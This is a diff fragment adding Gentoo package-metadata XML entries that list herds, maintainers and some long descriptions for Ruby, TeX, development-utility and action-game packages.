+<pkgmetadata pkgname="dev-ruby/rdtool">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/rexml">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ri">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/rmagick">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-bdb">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-bsearch">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-dbi">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-eb">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-freedb">
+<herd>ruby</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gconf">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gconf2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gdkimlib">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gdkpixbuf">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gdkpixbuf2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-glib2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gnome">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gnome2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gnomecanvas2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gtk">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gtk2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-gtkglext">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-ldap">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-libart">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-libart2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-libglade">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-libglade2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-mmap">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-panel-applet">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-pango">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-postgres">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-progressbar">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-romkan">
+<herd>ruby</herd>
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-svg">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-tcpwrap">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-termios">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ruby-zlib">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/rubymail">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/rudl">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/sary-ruby">
+<herd>ruby</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/shim-ruby18">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/soap4r">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/sqlite-ruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/strscan">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/testunit">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/text-format">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/uconv">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/SIunits">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/aastex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/cdcover">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/chktex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/cpp2latex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/cweb_latex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/detex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/eurosym">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/floatflt">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/foiltex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/g-brief">
+<herd>text-markup</herd>
+<maintainer>
+  <email>pylon@gentoo.org</email>
+  <name>Lars Weiler</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/hevea">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/ivritex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/latex-calendar">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/latex2html">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/leaflet">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/lgrind">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/listings">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/prosper">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-tex/texpower">
+<herd>text-markup</herd>
+<maintainer>
+  <email>pylon@gentoo.org</email>
+  <name>Lars Weiler</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/aegis">
+<herd>no-herd</herd>
+<maintainer>
+  <email>karltk@gentoo.org</email>
+  <name>Karl Trygve Kalleberg</name>
+  <description>Temporary maintainership until some interested party comes along</description>
+</maintainer>
+<longdescription>
+ Aegis is a transaction-based software configuration management system. It
+ provides a framework within which a team of developers may work on many
+ changes to a program independently, and Aegis coordinates integrating
+ these changes back into the master source of the program, with as little
+ disruption as possible.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/anjuta">
+<herd>gnome</herd>
+<maintainer><email>lisa@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/autoproject">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/bcpp">
+<herd>no-herd</herd>
+<maintainer>
+  <email>jhhudso@gentoo.org</email>
+  <name>Jared Hudson</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/bsdiff">
+<herd>no-herd</herd>
+<maintainer>
+	<email>bdharring@wisc.edu</email>
+	<name>Brian Harring</name>
+	<description>Indirectly maintaining through seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/calltree">
+<herd>no-herd</herd>
+<!--
+<maintainer>
+<description>Package has no maintainer</description>
+</maintainer>
+-->
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/cdecl">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/comparator">
+	<maintainer>
+		<email>kumba@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<herd>no-herd</herd>
+	<longdescription>ESR's utility for making fast comparisons among large source trees</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/cvsd">
+<herd>no-herd</herd>
+<maintainer>
+	<email>max@gentoo.org</email>
+	<name>Max Kalika</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/darcs">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/debootstrap">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/desktop-file-utils">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/devhelp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/diffball">
+<herd>no-herd</herd>
+<maintainer>
+	<email>bdharring@wisc.edu</email>
+	<name>Brian Harring</name>
+	<description>Indirectly maintaining through seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/eclipse-sdk">
+<herd>no-herd</herd>
+<maintainer>
+  <email>karltk@gentoo.org</email>
+  <name>Karl Trygve Kalleberg</name>
+  <description>Maintainer</description>
+</maintainer>
+<longdescription>
+The Eclipse Project is an open source project of eclipse.org, overseen by
+a Project Management Committee (PMC) and project leaders. The work is done
+in subprojects working against a CVS repository. The Eclipse Project
+Charter describes the organization of the project, roles and
+responsibilities of the participants, and top level development process
+for the project. The JDT and PDE are plug-in tools for the Eclipse
+Platform. Together, these three pieces form the Eclipse SDK download, a
+complete development environment for Eclipse-based tools, and for
+developing Eclipse itself.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/elfkickers">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>ELF kickers is a collection of programs that manipulate ELF files. The main purpose of these programs is to be illustrative and educational -- to help fellow programmers understand the ELF file format and something of how it works under the Linux platform.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/eric">
+<herd>qt</herd>
+<herd>python</herd>
+<maintainer>
+  <email>brain@gentoo.org</email>
+</maintainer>  
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/flawfinder">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gambas">
+<herd>no-herd</herd>
+<maintainer>
+  <email>genone@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gcvs">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/glade">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/glademm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gnustep-back">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gnustep-base">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gnustep-gui">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gnustep-guile">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gnustep-make">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gst-editor">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/gtk-doc">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/guile">
+<herd>no-herd</herd>
+<maintainer>
+	<email>liquidx@gentoo.org</email>
+	<description>Unwilling victim. Please take over if you are more interested.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/kcachegrind">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/kdevelop">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/ladebug">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+The Ladebug Debugger is a powerful, fully symbolic debugger that helps you locate runtime errors (bugs) in your code. Ladebug allows you to:
+Perform source-level debugging,
+Attach to a running process,
+Debug programs with shared libraries,
+Debug massively parallel program.
+Ladebug is a command-line debugger much like gdb. It provides extensive support for debugging programs written in C, C++, and Fortran (77 and 90) and compiled with the Compaq Linux Alpha compilers, which generate Dwarf-2 debugging information. Ladebug comes with an extensive html manual. This is the same debugger that HP ships on its Tru64 systems. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/larch">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+  <name>Ryan Phillips</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/meld">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/mono-debugger">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/monodoc">
+<herd>dev-dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/pbuilder">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/perforce-cli">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/perforce-gui">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/perforce-proxy">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/perforce">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/pilrc">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/pkgconfig">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/poedit">
+<herd>wxwindows</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/rapidsvn">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    RapidSVN is a cross-platform GUI front-end for the Subversion revision system 
+    written in C++ using the wxWindows framework. This project also includes a 
+    Subversion client C++ API.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/regexxer">
+<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/rootstrap">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/sourcenav">
+<herd>no-herd</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/spe">
+	<herd>python</herd>
+	<maintainer>
+		<email>pythonhead@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>Stan's Python Editor is a Python IDE with full Blender support.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/subversion">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pauldv@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/tla">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/treecc">
+<herd>dotnet</herd>
+<maintainer>
+  <email>scandium@gentoo.org</email>
+  <name>Rainer Groesslinger</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/valgrind">
+	<herd>no-herd</herd>
+<!--
+	<maintainer>
+		<description>Package has no maintainer</description>
+	</maintainer>
+-->
+<longdescription>
+Valgrind is a GPL'd tool to help you find memory-management problems
+in your programs. When a program is run under Valgrind's supervision,
+all reads and writes of memory are checked, and calls to
+malloc/new/free/delete are intercepted. As a result, Valgrind can
+detect problems such as
+
+- Use of uninitialised memory
+- Reading/writing memory after it has been free'd
+- Reading/writing off the end of malloc'd blocks
+- Reading/writing inappropriate areas on the stack
+- Memory leaks -- where pointers to malloc'd blocks are lost forever
+- Passing of uninitialised and/or unaddressible memory to system calls
+- Mismatched use of malloc/new/new [] vs free/delete/delete []
+- Some abuses of the POSIX Pthreads API
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/wxglade">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/0verkill">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/abuse_sdl">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/armagetron">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+<maintainer>
+  <email>luke-jr@gentoo.org</email>
+  <name>Luke-Jr</name>
+</maintainer>
+<longdescription>ArmageTRON is a 3D light cycle game featuring the ability to play against others online</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/atanks">
+<herd>games</herd>
+<maintainer>
+<email>msterret@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/barrage">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/bomberclone">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/bombermaze">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/bzflag">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/chromium">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/d2x">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/descent3">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Descent 3 is a first-person 3-D action flight-sim which takes place in both indoor and outdoor arenas.  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/dungeon">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/fakk2">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Heavy Metal: F.A.K.K.2 is a third-person 3-D action game based on characters from the Heavy Metal comics and movies.  Years have passed since Julie Strain (a.k.a. F.A.K.K.2) defeated the would-be God Lord Tyler on the bloody battlefields of the Holy Land. She has long since put the pain of those days behind her and brought her homeworld of Eden to a perfect natural balance. But far away in the deepest nebulas of space, the greatest evil of all stirs, ready to make its final move -- to take control of the entire universe. A lone beacon hurtles toward Eden, hoping to summon the god-slayer F.A.K.K.2 one last time. It bears nothing more than an onimous warning: &quot;GITH IS COMING.&quot;  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/geki2-KXL">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/geki3-KXL">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/glaxium">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/gltron">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/heavygear2">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Heavy Gear II is a first-person 3-D combat shooter based on the Dream Pod 9 role playing system where you pit squads of your best mechanized warriors against the enemy to save Terra Nova, but sheer firepower won't be enough. You must use your guile and wits to get behind enemy lines and use your resources to their fullest, before it's too late.  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  Heavy Gear II was the first Linux game to be ported from Direct3D, have joystick support via SDL, and use OpenAL for 3D sound.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/heroes">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/koth">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/maelstrom">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/moon-buggy">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/mutantstormdemo">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Mutant Storm progresses over 89 levels of psychedelic 3D arenas, that get 
+ever more crowded with nasty beasties. This carnival of frenetic fun is 
+showcased in a cutting edge graphics extravganza.
+
+Viewed from well above, you and your enemies can always be seen. Always be 
+killed, and always be laughed at! There is no hiding. No tactics. No 
+planning... No Net.
+Your enemies created this world and they sure ain't gonna help you 
+out!
+
+You like to play hard? Then the game gets harder. Feel like your doing 
+well? ...
+Enjoy it while it lasts!
+
+Survive long enough, and you get rewarded with score multipliers, doubling 
+your score. Making your enemies even angrier, and that bit more determined 
+to kill you!
+Lose a life and watch your multipliers tumble, and the beasties slow down 
+and relax, safe in the knowledge that you are just a big softy really!!
+After you conquer all 89 levels you'll be awarded your first 
+'White Belt' progressing if you can win all 8 belts until you 
+have possess the much coveted Mutant Storm 'Black Belt'.
+
+Mutant Storm is inspired the classic RoboTron by Williams, Smash TV and 
+Jeff Minters fantastic Llamatron.
+To those unacquainted, this means one hand controlling fire direction, and 
+the other controlling movement. Sounds confusing? ...don't worry, just grab 
+your trusty mouse ( or dual stick joypad if you want genuine Robotron style 
+) and give it a go. Its very simple once you try, and very intuitive once 
+you're used to it.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/nighthawk">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/orbital-eunuchs-sniper">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/orbz-demo">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Orbz is an action/arcade game set in colorful 3D environments. The object 
+of the game is to shoot your orb at targets located throughout 14 distinct 
+courses in a race to score the most points. Game play contains both 
+intense action and also strategy in planning the best scoring shots. 
+Power-ups, like the &quot;Money Shot&quot; and &quot;Curse of the Goober&quot;, are also 
+available to either give you a scoring advantage or to slow down your 
+opponents.
+
+In Solo Mode, the player completes a series of progressively difficult 
+challenges that focus on scoring the most points in different scenarios. 
+Bronze, Silver, and Gold medals are awarded for scoring performance and 
+high scores for each challenge are tracked world-wide against all other 
+Orbz players. For every 5 gold medals achieved, the player will also 
+unlock a fancy new Orb to use in Solo or Online mode. Finally, there is a 
+tutorial mode that will teach the player basics controls and scoring 
+strategies.
+
+The Online Mode allows Orbz players to compete against each other over the 
+Internet or Local Area Network. Up to 10 players, including computer 
+opponents called Botz, can join a Lobby where the matches will be 
+coordinated by selecting the course to play, number of rounds in the 
+match, and a per-round time limit. A world-wide ranking system is also 
+available for those who wish to compete for the ultimate title of Orbz 
+Champion.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/parsec">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/phobiaii">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/phobiaiii">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/poopmup">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/powermanga">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/raptor2">
+<herd>games</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/slune">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/spacearyarya-kxl">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/spacetripperdemo">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/stepmania">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/trackballs">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/tuxkart">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/xbomber">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/xpilot">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-action/xshipwars">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/ascii-invaders">
